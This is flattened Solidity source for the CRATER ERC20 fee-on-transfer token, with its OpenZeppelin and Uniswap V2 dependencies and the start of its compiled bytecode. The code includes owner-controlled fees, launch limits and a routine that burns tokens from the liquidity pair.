_beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } ////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) /* pragma solidity ^0.8.0; */ // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } ////// src/IUniswapV2Factory.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } ////// src/IUniswapV2Pair.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } ////// src/IUniswapV2Router02.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } ////// src/CRATERtoken.sol /* pragma solidity >=0.8.10; */ /* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */ /* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */ /* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */ /* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ /* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */ /* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */ /* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */ contract CRATER is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Crater Treasury", "CRATER") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 2; uint256 _sellMarketingFee = 6; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 2; uint256 totalSupply = 1_000_000_000 * 1e18; maxTransactionAmount = 10_000_000 * 1e18; // 1% from total supply maxTransactionAmountTxn maxWallet = 50_000_000 * 1e18; // 2% from total supply maxWallet swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0xea4185dF369f314Ea0FBFDB54770aAE5F892e81B); // set as marketing wallet devWallet = address(0x859F32F0505587C68a462399e19349bbaBa6F3c2); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
0x6080604052600436106103b15760003560e01c80638da5cb5b116101e7578063bbc0c7421161010d578063dd62ed3e116100a0578063f2fde38b1161006f578063f2fde38b14610ac9578063f637434214610ae9578063f8b45b0514610aff578063fe72b27a14610b1557600080fd5b8063dd62ed3e14610a42578063e2f4560514610a88578063e884f26014610a9e578063f11a24d314610ab357600080fd5b8063c876d0b9116100dc578063c876d0b9146109dc578063c8c8ebe4146109f6578063d257b34f14610a0c578063d85ba06314610a2c57600080fd5b8063bbc0c7421461095d578063c02466681461097c578063c17b5b8c1461099c578063c18bc195146109bc57600080fd5b80639ec22c0e11610185578063a4c82a0011610154578063a4c82a00146108d7578063a9059cbb146108ed578063aacebbe31461090d578063b62496f51461092d57600080fd5b80639ec22c0e146108755780639fccce321461088b578063a0d82dc5146108a1578063a457c2d7146108b757600080fd5b8063924de9b7116101c1578063924de9b71461080a57806395d89b411461082a5780639a7a23d61461083f5780639c3b4fdc1461085f57600080fd5b80638da5cb5b146107b65780638ea5220f146107d457806392136913146107f457600080fd5b8063313ce567116102d7578063715018a61161026a57806375f0a8741161023957806375f0a8741461074b5780637bce5a041461076b5780638095d564146107815780638a8c523c146107a157600080fd5b8063715018a6146106e1578063730c1888146106f6578063751039fc146107165780637571336a1461072b57600080fd5b80634fbee193116102a65780634fbee1931461063c5780636a486a8e146106755780636ddd17131461068b57806370a08231146106ab57600080fd5b8063313ce567146105b257806339509351146105ce57806349bd5a5e146105ee5780634a62bb651461062257600080fd5b8063199ffc721161034f57806323b872dd1161031e57806323b872dd1461054c57806327c8f8351461056c5780632c3e486c146105825780632e82f1a01461059857600080fd5b8063199ffc72146104ea5780631a8145bb146105005780631f3fed8f14610516578063203e727e1461052c57600080fd5b80631694505e1161038b5780631694505e1461044757806318160ddd146104935780631816467f146104b2578063184c16c5146104d457600080fd5b806306fdde03146103bd578063095ea7b3146103e857806310d5de531461041857600080fd5b366103b857005b600080fd5b3480156103c957600080fd5b506103d2610b35565b6040516103df9190612c99565b60405180910390f35b3480156103f457600080fd5b50610408610403366004612d03565b610bc7565b60405190151581526020016103df565b34801561042457600080fd5b50610408610433366004612d2f565b602080526000908152604090205460ff1681565b34801561045357600080fd5b5061047b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103df565b34801561049f57600080fd5b506002545b6040519081526020016103df565b3480156104be57600080fd5b506104d26104cd366004612d2f565b610bdd565b005b3480156104e057600080fd5b506104a4600f5481565b3480156104f657600080fd5b506104a4600b5481565b34801561050c57600080fd5b506104a4601d5481565b34801561052257600080fd5b506104a4601c5481565b34801561053857600080fd5b506104d2610547366004612d4c565b610c6d565b34801561055857600080fd5b50610408610567366004612d65565b610d4a565b34801561057857600080fd5b5061047b61dead81565b34801561058e57600080fd5b506104a4600d5481565b3480156105a457600080fd5b50600c546104089060ff1681565b3480156105be57600080fd5b50604051601281526020016103df565b3480156105da57600080fd5b506104086105e9366004612d03565b610df4565b3480156105fa57600080fd5b5061047b7f000000000000000000000000d5e364acb17aca7cad1e90f50cbfb0081710cdd181565b34801561062e57600080fd5b506011546104089060ff1681565b34801561064857600080fd5b50610408610657366004612d2f565b6001600160a01b03166000908152601f602052604090205460ff1690565b34801561068157600080fd5b506104a460185481565b34801561069757600080fd5b506011546104089062010000900460ff1681565b3480156106b757600080fd5b506104a46106c6366004612d2f565b6001600160a01b031660009081526020819052604090205490565b3480156106ed57600080fd5b506104d2610e30565b34801561070257600080fd5b506104d2610711366004612db6565b610e66565b34801561072257600080fd5b50610408610f8f565b34801561073757600080fd5b506104d2610746366004612deb565b610fcc565b34801561075757600080fd5b5060065461047b906001600160a01b031681565b34801561077757600080fd5b506104a460155481565b34801561078d57600080fd5b506104d261079c366004612e20565b611020565b3480156107ad57600080fd5b506104d26110c6565b3480156107c257600080fd5b506005546001600160a01b031661047b565b3480156107e057600080fd5b5060075461047b906001600160a01b031681565b34801561080057600080fd5b506104a460195481565b34801561081657600080fd5b506104d2610825366004612e4c565b611107565b34801561083657600080fd5b506103d261114d565b34801561084b57600080fd5b506104d261085a366004612deb565b61115c565b34801561086b57600080fd5b506104a460175481565b34801561088157600080fd5b506104a460105481565b34801561089757600080fd5b506104a4601e5481565b3480156108ad57600080fd5b506104a4601b5481565b3480156108c357600080fd5b506104086108d2366004612d03565b61123c565b3480156108e357600080fd5b506104a4600e5481565b3480156108f957600080fd5b50610408610908366004612d03565b6112d5565b34801561091957600080fd5b506104d2610928366004612d2f565b6112e2565b34801561093957600080fd5b50610408610948366004612d2f565b60216020526000908152604090205460ff1681565b34801561096957600080fd5b5060115461040890610100900460ff1681565b34801561098857600080fd5b506104d2610997366004612deb565b611369565b3480156109a857600080fd5b506104d26109b7366004612e20565b6113f2565b3480156109c857600080fd5b506104d26109d7366004612d4c565b611495565b3480156109e857600080fd5b506013546104089060ff1681565b348015610a0257600080fd5b506104a460085481565b348015610a1857600080fd5b50610408610a27366004612d4c565b611566565b348015610a3857600080fd5b506104a460145481565b348015610a4e57600080fd5b506104a4610a5d366004612e67565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a9457600080fd5b506104a460095481565b348015610aaa57600080fd5b506104086116bd565b348015610abf57600080fd5b506104a460165481565b348015610ad557600080fd5b506104d2610ae4366004612d2f565b6116fa565b348015610af557600080fd5b506104a4601a5481565b348015610b0b57600080fd5b506104a4600a5481565b348015610b2157600080fd5b50610408610b30366004612d4c565b611795565b606060038054610b4490612ea0565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7090612ea0565b8015610bbd5780601f10610b9257610100808354040283529160200191610bbd565b820191906000526020600020905b815481529060010190602001808311610ba057829003601f168201915b5050505050905090565b6000610bd4338484611a0f565b50600192915050565b6005546001600160a01b03163314610c105760405162461bcd60e51b8152600401610c0790612edb565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c975760405162461bcd60e51b8152600401610c0790612edb565b670de0b6b3a76400006103e8610cac60025490565b610cb7906001612f26565b610cc19190612f45565b610ccb9190612f45565b811015610d325760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610c07565b610d4481670de0b6b3a7640000612f26565b60085550565b6000610d57848484611b33565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610ddc5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610c07565b610de98533858403611a0f565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610bd4918590610e2b908690612f67565b611a0f565b6005546001600160a01b03163314610e5a5760405162461bcd60e51b8152600401610c0790612edb565b610e646000612408565b565b6005546001600160a01b03163314610e905760405162461bcd60e51b8152600401610c0790612edb565b610258831015610efe5760405162461bcd60e51b815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e207468604482015272616e206576657279203130206d696e7574657360681b6064820152608401610c07565b6103e88211158015610f0e575060015b610f735760405162461bcd60e51b815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201526f747765656e20302520616e642031302560801b6064820152608401610c07565b600d92909255600b55600c805460ff1916911515919091179055565b6005546000906001600160a01b03163314610fbc5760405162461